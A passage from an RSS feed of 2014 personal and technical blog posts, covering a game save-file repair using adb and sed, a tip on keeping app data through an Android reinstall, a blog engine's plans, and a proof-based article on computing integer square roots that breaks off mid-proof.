"nameplate capacity" of 96 MW is known as the capacity factor, and 20 % is about par for the course for solar.&lt;/span&gt;&lt;br /&gt;
&lt;h2&gt;
Wrap-up&lt;/h2&gt;
&lt;div&gt;
So there you have it - this should enable you to decipher the different terms used in articles talking about electrical energy (and perhaps to do some research about that battery backup for your power at home). My last word on the matter is that you should be on the lookout for common misperceptions about units, like that kWh for some reason means &lt;a href="http://www.702.co.za/articles/791/loadshedding-all-you-need-to-know-and-what-you-need-to-do"&gt;kW/h instead of kW⋅h&lt;/a&gt;. Hopefully the discussion above will show you why kW/h doesn't make any kind of sense.&lt;/div&gt;</description><author>Negative Feedback</author><pubDate>Fri, 12 Dec 2014 16:11:19 GMT</pubDate><guid isPermaLink="true">http://negfeedback.blogspot.com/2014/12/understanding-electricity-terminology.html</guid></item><item><title>Hacking the Ractiv Touch+</title><link>https://www.umarniz.com/hacking-the-ractiv-touch/</link><description>When we at Nerdiacs first saw the kick starter project for Touch+ I was more interested in the hardware for the project then the software…</description><author>Umar Nizamani | RSS Feed</author><pubDate>Fri, 12 Dec 2014 12:34:26 GMT</pubDate><guid isPermaLink="true">https://www.umarniz.com/hacking-the-ractiv-touch/</guid></item><item><title>What Monk means for me</title><link>https://benovermyer.com/blog/2014/12/what-monk-means-for-me/</link><description>&lt;p&gt;Some people write blog engines because it’s just one of those things that you do as a web developer. It’s a kind of rite of passage; a simple create-read-update-delete interface with a database behind it.&lt;/p&gt;
&lt;p&gt;Some people write blog engines because they’re driven to help people share a written word with others. This is a noble endeavor, and a noble sentiment. Matt Mullenweg and the guys behind Ghost have this purpose.&lt;/p&gt;
&lt;p&gt;For me, writing a blog engine is much more of a self-centered exercise.&lt;/p&gt;
&lt;p&gt;I’m writing the Monk blog engine not because I want to help others, or because I think it’s a good exercise of my coding skills. Granted, I’m not averse to either; if Monk helps people, that’s wonderful. If it expands my coding knowledge, great. But I’m really just in it for one main reason.&lt;/p&gt;
&lt;p&gt;I like writing, and I want to write. Publicly, and online. But without a system built by others.&lt;/p&gt;
&lt;p&gt;No option, no matter how well built or user-friendly, will ever compare to a blog engine that I build for myself - simply because it’s my own creation, and my own responsibility. I feel a greater ownership of Monk than I have ever felt for anything else in my professional career. It’s mine, for good or ill, for better or worse. It reflects my thinking at this time in my life, and it could be considered something of a journal in code.&lt;/p&gt;
&lt;p&gt;That’s not to say that it’s entirely my own, though. Eric Dowell, a friend of mine and a skilled codeslinger, has increasingly aided in its construction. While that might seem at odds with my previous paragraph, consider this - nothing is created in a vacuum, and nothing is built without the input (whether conscious or otherwise) of others. There is no such thing as a totally original work.&lt;/p&gt;
&lt;p&gt;Now, with that said, I still feel like Monk is the ultimate expression of my coding skill and opinions at this point in time. Writing a blog should be easy, and fun, and beautiful. A blog should focus on writing for the blogger and reading for the reader. Typography is vitally important. So is the ability to reflect, reconsider, and rework. And also, a blog’s software should make it so that the computer never gets in the way of the craft.&lt;/p&gt;
&lt;p&gt;I’m writing a blog engine, and its name is Monk.&lt;/p&gt;
&lt;p&gt;Will you write with me?&lt;/p&gt;</description><author>Ben Overmyer's Site</author><pubDate>Fri, 12 Dec 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://benovermyer.com/blog/2014/12/what-monk-means-for-me/</guid></item><item><title>Trip report: Open Data in Skopje</title><link>https://stop.zona-m.net/2014/12/trip-report-open-data-in-skopje/</link><description>&lt;figure&gt;
  &lt;img alt="Trip report: Open Data in Skopje /img/skopje.jpg" src="https://stop.zona-m.net//img/skopje.jpg" width="100%" /&gt;
&lt;/figure&gt;
&lt;p&gt;A couple of weeks ago I was invited at the first National Open Government Partnership Forum in Skopje, Macedonia, for the panel titled &lt;em&gt;&amp;ldquo;OGP-related Initiatives at the Local Level - Comparative Perspectives&amp;rdquo;&lt;/em&gt;. Here&amp;rsquo;s a short trip report, complete of link to my slides.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Thu, 11 Dec 2014 20:10:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2014/12/trip-report-open-data-in-skopje/</guid></item><item><title>Fixing save file corruption in Ridiculous Fishing</title><link>https://cmetcalfe.ca/blog/fixing-save-corruption-ridiculous-fishing.html</link><description>&lt;p&gt;&lt;a href="https://play.google.com/store/apps/details?id=com.vlambeer.RidiculousFishing"&gt;Ridiculous Fishing&lt;/a&gt; is a game by &lt;a href="http://www.vlambeer.com/"&gt;Vlambeer&lt;/a&gt; about fishing. That's if you
can call chainsawing fish and blowing them out of the sky with a bazooka "fishing".&lt;/p&gt;
&lt;p&gt;I've been playing this game on and off for a while now, but just recently I had
a problem where my save file somehow got corrupted, making the app refuse to open.&lt;/p&gt;
&lt;p&gt;The problem first manifested as the game freezing for up to 5 seconds when
navigating around the UI or buying items in the in-game store. Since I was
running the game on a &lt;a href="http://en.wikipedia.org/wiki/Nexus_5"&gt;Nexus 5&lt;/a&gt; (not the latest and greatest, but pretty
close), it seemed weird. The delay got longer and longer until the game
eventually crashed and refused to reopen.&lt;/p&gt;
&lt;p&gt;Since I was pretty far into the game (I only needed to catch one more species
of fish!), I opted to try to fix it instead of just wiping the app's data and
starting again. I initially tried clearing the app's cache and
&lt;a href="https://cmetcalfe.ca/blog/reinstall-android-app-without-losing-data.html"&gt;reinstalling the app&lt;/a&gt;, but the problem persisted.&lt;/p&gt;
&lt;p&gt;The next step was to dump the games's data to my computer so I could do some
analysis on it. Some exploration on the device revealed that the settings and
data were stored in the folder &lt;code&gt;/data/data/com.vlambeer.RidiculousFishing.humble&lt;/code&gt;
(I have the &lt;a href="https://www.humblebundle.com/"&gt;Humble Bundle&lt;/a&gt; version of the app).&lt;/p&gt;
&lt;p&gt;To pull that folder to my current directory, I used &lt;a href="http://developer.android.com/tools/help/adb.html"&gt;ADB&lt;/a&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt;1&lt;/span&gt;
&lt;span class="normal"&gt;2&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;adb&lt;span class="w"&gt; &lt;/span&gt;root&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#Restart adbd on the device with root permissions&lt;/span&gt;
adb&lt;span class="w"&gt; &lt;/span&gt;pull&lt;span class="w"&gt; &lt;/span&gt;/data/data/com.vlambeer.RidiculousFishing.humble/
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;A quick &lt;code&gt;du -h&lt;/code&gt; revealed that something was very wrong in the
&lt;code&gt;files/Library/Preferences/com.vlambeer.RidiculousFishing.humble.plist&lt;/code&gt; file.
It should've been just a text document, but was well over 200MB.&lt;/p&gt;
&lt;p&gt;After trying out of habit to open the file in &lt;a href="http://www.vim.org/"&gt;Vim&lt;/a&gt; and having it hang (oops),
I paged through the document with &lt;a href="http://en.wikipedia.org/wiki/Less_%28Unix%29"&gt;less&lt;/a&gt;. About halfway through the file,
there was a line containing &lt;code&gt;&amp;amp;amp;lt;message&amp;amp;amp;gt;@eggbirdTBA Take it to the
Smartypants Bar&lt;/code&gt; (no, that's not a formatting error, in the plist there's XML
data stored in a &lt;code&gt;&amp;lt;string&amp;gt;&lt;/code&gt; element, requiring the &lt;code&gt;&amp;lt;&lt;/code&gt; and &lt;code&gt;&amp;gt;&lt;/code&gt; characters to be
escaped) followed by about 200MB of garbage.&lt;/p&gt;
&lt;p&gt;Apparently there are &lt;a href="http://stackoverflow.com/questions/908575/how-to-edit-multi-gigabyte-text-files-vim-doesnt-work"&gt;ways to load huge files in Vim&lt;/a&gt;, as well as other text
editors that handle them nicely, but since I already knew what line was causing
the issue, a simple &lt;a href="http://en.wikipedia.org/wiki/Sed"&gt;sed&lt;/a&gt; command would do the trick.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt;1&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sed&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'/Take it to the Smartypants Bar/d'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;com.vlambeer.RidiculousFishing.humble.plist&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;temp.plist
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Total size of &lt;code&gt;temp.plist&lt;/code&gt;: 107.11KB. Much better.&lt;/p&gt;
&lt;p&gt;After going though and deleting some lines around the one that was removed (to
make the XML valid again), I pushed the file back to the device:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt;1&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;adb&lt;span class="w"&gt; &lt;/span&gt;push&lt;span class="w"&gt; &lt;/span&gt;temp.plist&lt;span class="w"&gt; &lt;/span&gt;/data/data/com.vlambeer.RidiculousFishing.humble/files/Library/Preferences/com.vlambeer.RidiculousFishing.humble.plist
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Success! The game opened properly, all the freezing issues were gone, and my
save data was still there.&lt;/p&gt;
&lt;p&gt;Now to find that stupid &lt;a href="http://gaming.stackexchange.com/questions/159564/how-to-catch-the-mimic-fish"&gt;Mimic Fish&lt;/a&gt;...&lt;/p&gt;</description><author>Carey Metcalfe</author><pubDate>Thu, 11 Dec 2014 19:44:00 GMT</pubDate><guid isPermaLink="true">https://cmetcalfe.ca/blog/fixing-save-corruption-ridiculous-fishing.html</guid></item><item><title>Reinstalling an Android app without losing data</title><link>https://cmetcalfe.ca/blog/reinstall-android-app-without-losing-data.html</link><description>&lt;p&gt;When an application isn't opening (and clearing the cache doesn't help) it
sometimes helps to reinstall it. However, uninstalling then reinstalling the
app normally will delete all the data associated with it.&lt;/p&gt;
&lt;p&gt;The way around this is to directly call the package manager from the shell and
give it the &lt;code&gt;-k&lt;/code&gt; argument, which tells it to keep the data and cache directories.&lt;/p&gt;
&lt;p&gt;Simply connect the device to a computer with &lt;a href="http://developer.android.com/tools/help/adb.html"&gt;ADB&lt;/a&gt; installed and run:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt;1&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;adb&lt;span class="w"&gt; &lt;/span&gt;-d&lt;span class="w"&gt; &lt;/span&gt;shell&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;pm uninstall -k com.package.name&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Then just reinstall the app (either from an apk file or the &lt;a href="https://play.google.com/store"&gt;Play Store&lt;/a&gt;) and
the app will be back with all of its data intact.&lt;/p&gt;</description><author>Carey Metcalfe</author><pubDate>Thu, 11 Dec 2014 18:20:00 GMT</pubDate><guid isPermaLink="true">https://cmetcalfe.ca/blog/reinstall-android-app-without-losing-data.html</guid></item><item><title>Claustrophobia and eggicide</title><link>https://liza.io/claustrophobia-and-eggicide/</link><description>&lt;p&gt;Yesterday I put in claustrophobia for the snails. Jars have a capacity attribute - a maximum number of snails that they should hold. But just because a jar with a capacity of 20 may not be able to support 25 snails very well doesn&amp;rsquo;t mean the snails are going to conveniently stop reproducing or hatching (if it is a breeding jar). Instead, they&amp;rsquo;re just going to get uncomfortable enough to eat their babies.&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Thu, 11 Dec 2014 15:01:51 GMT</pubDate><guid isPermaLink="true">https://liza.io/claustrophobia-and-eggicide/</guid></item><item><title>Plans for Monk for Q1 2015</title><link>https://benovermyer.com/blog/2014/12/plans-for-monk-for-q1-2015/</link><description>&lt;p&gt;The end of Q1 2015 should see the first real release of Monk as a publicly-consumable, FOSS product.&lt;/p&gt;
&lt;p&gt;The following not-yet-implemented features are on track for that release:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Quick and easy install process&lt;/li&gt;
&lt;li&gt;Themes for the public-facing part of the engine&lt;/li&gt;
&lt;li&gt;Dashboard with daily metrics&lt;/li&gt;
&lt;li&gt;Notifications for when a post or page becomes unusually popular quickly&lt;/li&gt;
&lt;li&gt;Ability to queue posts for publication&lt;/li&gt;
&lt;li&gt;Connect social media accounts to auto-share links to new posts as soon as they're published, or on a schedule you determine&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Obviously, there's a lot of work that needs to happen between now and then.&lt;/p&gt;
&lt;p&gt;A post will follow this one on Sunday about why I'm building Monk and why it's more than just a developer's experiment.&lt;/p&gt;</description><author>Ben Overmyer's Site</author><pubDate>Thu, 11 Dec 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://benovermyer.com/blog/2014/12/plans-for-monk-for-q1-2015/</guid></item><item><title>Canada Metal Pacific Video</title><link>https://june.kim/cmp/</link><author>june.kim</author><pubDate>Wed, 10 Dec 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://june.kim/cmp/</guid></item><item><title>Git baffles</title><link>https://www.craigpardey.com/post/2014-12-10-git-baffles/</link><description>&lt;p&gt;I&amp;rsquo;ve been using DVCSs for more than four years and I love them.  Both Git and Mercurial are excellent source control tools, each with their strong points and their warts.  The biggest difference between the two is the learning curve.  I was very comfortable with Mercurial after only a few weeks and the same has held true wherever I&amp;rsquo;ve introduced it.&lt;/p&gt;
&lt;p&gt;It took me about six months to get to the same comfort level with Git. And that was with three years of Mercurial experience under my belt.&lt;/p&gt;</description><author>Craig Pardey</author><pubDate>Wed, 10 Dec 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.craigpardey.com/post/2014-12-10-git-baffles/</guid></item><item><title>Creativity, Inc.: Overcoming the Unseen Forces That Stand in the Way of True Inspiration</title><link>https://olshansky.info/book/creativity_inc/</link><description>Olshansky's review of Creativity, Inc.: Overcoming the Unseen Forces That Stand in the Way of True Inspiration by Ed Catmull</description><author>🦉 olshansky 🦁</author><pubDate>Wed, 10 Dec 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/book/creativity_inc/</guid></item><item><title>Justin Jackson: Host of the Product People Podcast</title><link>https://solomon.io/justin-jackson-host-of-the-product-people-podcast/</link><description>Great products often have great people behind them.</description><author>Sam Solomon</author><pubDate>Wed, 10 Dec 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://solomon.io/justin-jackson-host-of-the-product-people-podcast/</guid></item><item><title>Computing the Integer Square Root</title><link>https://www.akalin.com/computing-isqrt</link><description>&lt;section&gt;
&lt;header&gt;
&lt;h2&gt;1. The algorithm&lt;/h2&gt;
&lt;/header&gt;

&lt;p&gt;Today I&amp;rsquo;m going to talk about a fast algorithm to compute
the &lt;em&gt;&lt;a href="https://en.wikipedia.org/wiki/Integer_square_root"&gt;integer
square root&lt;/a&gt;&lt;/em&gt; of a non-negative integer \(n\),
\(\isqrt(n) = \lfloor \sqrt{n} \rfloor\), or in words,
the greatest integer whose square is less than or equal to \(n\).&lt;sup&gt;&lt;a href="#fn1" id="r1"&gt;[1]&lt;/a&gt;&lt;/sup&gt; Most
  sources that describe the algorithm take it for granted that it is
  correct and fast. This is far from obvious! So I will prove both
  correctness and speed below.&lt;/p&gt;

&lt;p&gt;One simple fact is that \(\isqrt(n) \le n/2\), so a
  straightforward algorithm is just to test every non-negative integer
  up to \(n/2\). This takes \(O(n)\) arithmetic operations, which is bad
  since it&amp;rsquo;s exponential in the &lt;em&gt;size&lt;/em&gt; of the input. That
  is, letting \(\Bits(n)\) be the number of bits required
  to store \(n\) and letting \(\lg n\) be the base-\(2\) logarithm of
  \(n\), \(\Bits(n) = O(\lg n)\), and thus this algorithm
  takes \(O(2^{\Bits(n)})\) arithmetic operations.&lt;/p&gt;

&lt;p&gt;We can do better by doing binary search; start with the range \([0,
  n/2]\) and adjust it based on comparing the square of an integer in
  the middle of the range to \(n\). This takes \(O(\lg n) =
  O(\Bits(n))\) arithmetic operations.&lt;/p&gt;

&lt;div class="p"&gt;However, the algorithm below is even faster:&lt;sup&gt;&lt;a href="#fn2" id="r2"&gt;[2]&lt;/a&gt;&lt;/sup&gt;

  &lt;ol&gt;
    &lt;li&gt;If \(n = 0\), return \(0\).&lt;/li&gt;
    &lt;li&gt;Otherwise, set \(i\) to \(0\) and set \(x_0\) to \(2^{\lceil
      \Bits(n) / 2\rceil}\).&lt;/li&gt;
    &lt;li&gt;Repeat:
      &lt;ol&gt;
        &lt;li&gt;Set \(x_{i+1}\) to \(\lfloor (x_i + \lfloor n/x_i \rfloor) /
          2 \rfloor\).&lt;/li&gt;
        &lt;li&gt;If \(x_{i+1} \ge x_i\), return \(x_i\). Otherwise, increment
          \(i\).&lt;/li&gt;
      &lt;/ol&gt;
    &lt;/li&gt;
  &lt;/ol&gt;
&lt;/div&gt;

&lt;div class="p"&gt;Call this algorithm \(\NewtonSqrt\), since it&amp;rsquo;s based
  on &lt;a href="https://en.wikipedia.org/wiki/Newton%27s_method"&gt;Newton&amp;rsquo;s
  method&lt;/a&gt;. It&amp;rsquo;s not obvious, but this algorithm returns
  \(\isqrt(n)\) using only \(O(\lg \lg n) =
  O(\lg(\Bits(n)))\) arithmetic operations, as we will
  prove below. But first, here&amp;rsquo;s an implementation of the
  algorithm in Javascript:&lt;sup&gt;&lt;a href="#fn3" id="r3"&gt;[3]&lt;/a&gt;&lt;/sup&gt;





&lt;pre class="code-container"&gt;&lt;code class="language-javascript"&gt;// isqrt returns the greatest number x such that x^2 &amp;lt;= n. The type of
// n must behave like BigInteger (e.g.,
// https://github.com/akalin/jsbn ), and n must be non-negative.
//
//
// Example (open up the JS console on this page and type):
//
//   isqrt(new BigInteger(&amp;quot;64&amp;quot;)).toString()
function isqrt(n) {
  var s = n.signum();
  if (s &amp;lt; 0) {
    throw new Error('negative radicand');
  }
  if (s == 0) {
    return n;
  }

  // x = 2^ceil(Bits(n)/2)
  var x = n.constructor.ONE.shiftLeft(Math.ceil(n.bitLength()/2));
  while (true) {
    // y = floor((x + floor(n/x))/2)
    var y = x.add(n.divide(x)).shiftRight(1);
    if (y.compareTo(x) &amp;gt;= 0) {
      return x;
    }
    x = y;
  }
}&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;/section&gt;

&lt;section&gt;
  &lt;header&gt;
    &lt;h2&gt;2. Correctness&lt;/h2&gt;
  &lt;/header&gt;

  &lt;p&gt;The core of the algorithm is the iteration rule:

    \[
    x_{i+1} = \left\lfloor \frac{x_i + \lfloor \frac{n}{x_i}
    \rfloor}{2} \right\rfloor
    \]

    where
    the &lt;a href="https://en.wikipedia.org/wiki/Floor_and_ceiling_functions"&gt;floor
    functions&lt;/a&gt; are there only because we&amp;rsquo;re using integer
    division. Define an integer-valued function \(f(x)\) for the right
    side. Using basic properties of the floor function, you can show that
    you can remove the inner floor:

    \[
    f(x) = \left\lfloor \frac{1}{2} (x + n/x) \right\rfloor
    \]

    which makes it a bit easier to analyze. Also, the properties of
    \(f(x)\) are closely related to its equivalent real-valued function:

    \[
    g(x) = \frac{1}{2} (x + n/x)\text{.}
    \]&lt;/p&gt;

  &lt;p&gt;For starters, again using basic properties of the floor function,
    you can show that \(f(x) \le g(x)\), and for any integer \(m\), \(m
    \le f(x)\) if and only if \(m \le g(x)\).&lt;/p&gt;

  &lt;p&gt;Finally, let&amp;rsquo;s give a name to our desired output: let \(s =
    \isqrt(n) = \lfloor \sqrt{n} \rfloor\).&lt;sup&gt;&lt;a href="#fn4" id="r4"&gt;[4]&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;

  &lt;div class="p"&gt;Intuitively, \(f(x)\) and \(g(x)\) &amp;ldquo;average out&amp;rdquo;
    however far away their input \(x\) is from \(\sqrt{n}\). Conveniently,
    this &amp;ldquo;average&amp;rdquo; is never an undereestimate:

    &lt;div class="theorem"&gt;(&lt;span class="theorem-name"&gt;Lemma 1&lt;/span&gt;.) For
    \(x \gt 0\), \(f(x) \ge s\).&lt;/div&gt;

    &lt;div class="proof"&gt;
      &lt;p&gt;&lt;span class="proof-name"&gt;Proof.&lt;/span&gt; By the basic properties of
        \(f(x)\) and \(g(x)\) above, it suffices to show that \(g(x) \ge
        s\). \(g'(x) = (1 - n/x^2)/2\) and \(g''(x) = n/x^3\). Therefore,
        \(g(x)\) is concave-up for \(x \gt 0\); in particular, its single
        positive extremum at \(x = \sqrt{n}\) is a minimum. But \(g(\sqrt{n})
        = \sqrt{n} \ge s\). &amp;#x220e;&lt;/p&gt;
    &lt;/div&gt;

    (You can also prove Lemma 1 without calculus; show that \(g(x) \ge
    s\) if and only if \(x^2 - 2sx + n \ge 0\), which is true when \(s^2
    \le n\), which is true by definition.)&lt;/div&gt;

  &lt;div class="p"&gt;Furthermore, our initial estimate is always an overestimate:

  &lt;div class="theorem"&gt;(&lt;span class="theorem-name"&gt;Lemma 2&lt;/span&gt;.) \(x_0
    \gt s\).&lt;/div&gt;

  &lt;div class="proof"&gt;
    &lt;p&gt;&lt;span class="proof-name"&gt;Proof.&lt;/span&gt; \(\Bits(n) =
      \lfloor \lg n \rfloor + 1 \gt \lg n\). Therefore,

      \[
      \begin{aligned}
      x_0 &amp;=   2^{\lceil \Bits(n) / 2 \rceil} \\
      &amp;\ge 2^{\Bits(n) / 2} \\
      &amp;\gt 2^{\lg n / 2} \\
      &amp;= \sqrt{n} \\
      &amp;\ge s\text{.} \; \blacksquare
      \end{aligned}
      \]
    &lt;/p&gt;
  &lt;/div&gt;
  &lt;/div&gt;

  &lt;p&gt;(Note that any number greater than \(s\), say \(n\) or \(\lceil n/2
    \rceil\), can be chosen for our initial guess without affecting
    correctness. However, the expression above is necessary to guarantee
    performance. Another possibility is \(2^{\lceil \lceil \lg n \rceil /
    2 \rceil}\), which has the advantage that if \(n\) is an even power of
    \(2\), then \(x_0\) is immediately set to \(\sqrt{n}\). However, this
    is usually not worth the cost of checking that \(n\) is a power of
    \(2\), as is required to compute \(\lceil \lg n \rceil\).)&lt;/p&gt;

  &lt;div class="p"&gt;An easy consequence of Lemmas 1 and 2 is that the invariant \(x_i
    \ge s\) holds. That lets us prove partial correctness of
    \(\NewtonSqrt\):

    &lt;div class="theorem"&gt;(&lt;span class="theorem-name"&gt;Theorem 1&lt;/span&gt;.) If
    \(\NewtonSqrt\) terminates, it
    returns the value \(s\).&lt;/div&gt;

    &lt;div class="proof"&gt;
      &lt;p&gt;&lt;span class="proof-name"&gt;Proof.&lt;/span&gt; Assume it terminates. If it
        terminates in step \(1\), then we are done. Otherwise, it can only
        terminate in step \(3.2\) where it returns \(x_i\) such that \(x_{i+1}
        = f(x_i) \ge x_i\). This implies that \(g(x_i) = (x_i + n/x_i) / 2 \ge
        x_i\). Rearranging yields \(n \ge x_i^2\) and combining with our
        invariant we get \(\sqrt{n} \ge x_i \ge s\). But \(s + 1 \gt
        \sqrt{n}\), so that forces \(x_i\) to be \(s\), and thus
        \(\NewtonSqrt\) returns \(s\) if it
        terminates. &amp;#x220e;&lt;/p&gt;
    &lt;/div&gt;

    For total correctness we also need to show that
    \(\NewtonSqrt\) terminates. But this
    is easy:

  &lt;div class="theorem"&gt;(&lt;span class="theorem-name"&gt;Theorem 2&lt;/span&gt;.)
    \(\NewtonSqrt\) terminates.&lt;/div&gt;

  &lt;div class="proof"&gt;
  &lt;p&gt;&lt;span class="proof-name"&gt;Proof.&lt;/span&gt; Assume it doesn&amp;rsquo;t
    terminate. Then we have a strictly decreasing infinite sequence of
    integers \(\{ x_0, x_1, \dotsc \}\). But this sequence is bounded below
    by \(s\), so it cannot decrease indefinitely. This is a contradiction,
    so \(\NewtonSqrt\) must
    terminate. &amp;#x220e;&lt;/p&gt;
  &lt;/div&gt;
  &lt;/div&gt;

  &lt;p&gt;We are done proving correctness, but you might wonder if the check
    \(x_{i+1} \ge x_i\) in step \(3.2\) is necessary. That is, can it be
    weakened to the check \(x_{i+1} = x_i\)? The answer is
    &amp;ldquo;no&amp;rdquo;; to see that, let \(k = n - s^2\). Since \(n \lt
    (s+1)^2\), \(k \lt 2s + 1\). On the other hand, consider the
    inequality \(f(x_i) \gt x_i\). Since that would cause the algorithm to
    terminate and return \(x_i\), that implies that \(x_i =
    s\). Therefore, that inequality is equivalent to \(f(s) \gt s\), which
    is equivalent to \(f(s) \ge s + 1\), which is equivalent to \(g(s) =
    (s + n/s) / 2 \ge s + 1\). Rearranging yields \(n \ge s^2 +
    2s\). Substituting in \(n = s^2 + k\), we get \(s^2 + k \ge s^2 +
    2s\), which is equivalent to \(k \ge 2s\). But since \(k \lt 2s + 1\),
    that forces \(k\) to equal \(2s\). That is the maximum value \(k\) can
    be, so therefore \(n\) must be one less than a perfect square. Indeed,
    for such numbers, weakening the check would cause the algorithm to
    oscillate between \(s\) and \(s + 1\). For example, \(n = 99\) would
    yield the sequence \(\{ 16, 11, 10, 9, 10, 9, \dotsc \}\).&lt;/p&gt;

&lt;/section&gt;

&lt;section&gt;
  &lt;header&gt;
    &lt;h2&gt;3. Run-time&lt;/h2&gt;
  &lt;/header&gt;

  &lt;p&gt;We will show that \(\NewtonSqrt\)
    takes \(O(\lg \lg n)\) arithmetic operations. Since each loop
    iteration does only a fixed number of arithmetic operations (with the
    division of \(n\) by \(x\) being the most expensive), it suffices to
    show that our algorithm performs \(O(\lg \lg n)\) loop iterations.&lt;/p&gt;

  &lt;p&gt;It is well known that Newton&amp;rsquo;s
    method &lt;a href="https://en.wikipedia.org/wiki/Newton%27s_method#Proof_of_quadratic_convergence_for_Newton.27s_iterative_method"&gt;converges
    quadratically&lt;/a&gt; sufficiently close to a simple root. We can&amp;rsquo;t
    actually use this result directly, since it&amp;rsquo;s not clear that the
    convergence properties of Newton&amp;rsquo;s method are preserved when
    using integer operations, but we can do something similar.&lt;/p&gt;

  &lt;p&gt;Define \(\Err(x) = x^2/n - 1\) and let \(ϵ_i =
    \Err(x_i)\). Intuitively, \(\Err(x)\) is a
    conveniently-scaled measure of the error of \(x\): it is less than
    \(1\) for most of the values we care about and it bounded below for
    integers greater than our target \(s\). Also, we will show that the
    \(ϵ_i\) shrink quadratically. These facts will then let us show
    our bound for the iteration count.&lt;/p&gt;

  &lt;div class="p"&gt;First, let&amp;rsquo;s prove our lower bound for \(ϵ_i\):

  &lt;div class="theorem"&gt;(&lt;span class="theorem-name"&gt;Lemma 3&lt;/span&gt;.) \(x_i
    \ge s + 1\) if and only if \(ϵ_i \ge 1/n\).&lt;/div&gt;

  &lt;div class="proof"&gt;
  &lt;p&gt;&lt;span class="proof-name"&gt;Proof.&lt;/span&gt; \(n \lt (s + 1)^2\), so \(n + 1
    \le (s + 1)^2\), and therefore \((s + 1)^2/n - 1 \ge 1/n\). But the
    expression on the left side is just \(\Err(s +
    1)\). \(x_i \ge s + 1\) if and only if \(ϵ_i \ge
    \Err(s + 1)\), so the result immediately
    follows. &amp;#x220e;&lt;/p&gt;
  &lt;/div&gt;

  Then we can use that to show that the \(ϵ_i\) shrink
    quadratically:

  &lt;div class="theorem"&gt;(&lt;span class="theorem-name"&gt;Lemma 4&lt;/span&gt;.) If
    \(x_i \ge s + 1\), then \(ϵ_{i+1} \lt (ϵ_i/2)^2\).&lt;/div&gt;

  &lt;div class="proof"&gt;
  &lt;p&gt;&lt;span class="proof-name"&gt;Proof.&lt;/span&gt; \(ϵ_{i+1}\) is just
    \(\Err(f(x_i)) \le \Err(g(x_i))\), so it
    suffices to show that \(\Err(g(x_i)) \lt
    (ϵ_i/2)^2\). Inverting \(\Err(x)\), we get that
    \(x_i = \sqrt{(ϵ_i + 1) \cdot n}\). Expressing \(g(x_i)\) in
    terms of \(ϵ_i\) we get

    \[ g(x_i) = \frac{\sqrt{n}}{2} \left( \frac{ϵ_i +
    2}{\sqrt{ϵ_i + 1}} \right) \]

    and

    \[
    \Err(g(x_i)) = \frac{(ϵ_i/2)^2}{ϵ_i+1}\text{.}
    \]

    Therefore, it suffices to show that the denominator is greater than
    \(1\). But \(x_i \ge s + 1\) implies \(ϵ_i \gt 0\) by Lemma 3,
    so that follows immediately and the result is proved. &amp;#x220e;&lt;/p&gt;
  &lt;/div&gt;

  Then let&amp;rsquo;s bound our initial values:

  &lt;div class="theorem"&gt;(&lt;span class="theorem-name"&gt;Lemma 5&lt;/span&gt;.) \(x_0
    \le 2s\), \(ϵ_0 \le 3\), and \(ϵ_1 \le 1\).&lt;/div&gt;

  &lt;div class="proof"&gt;
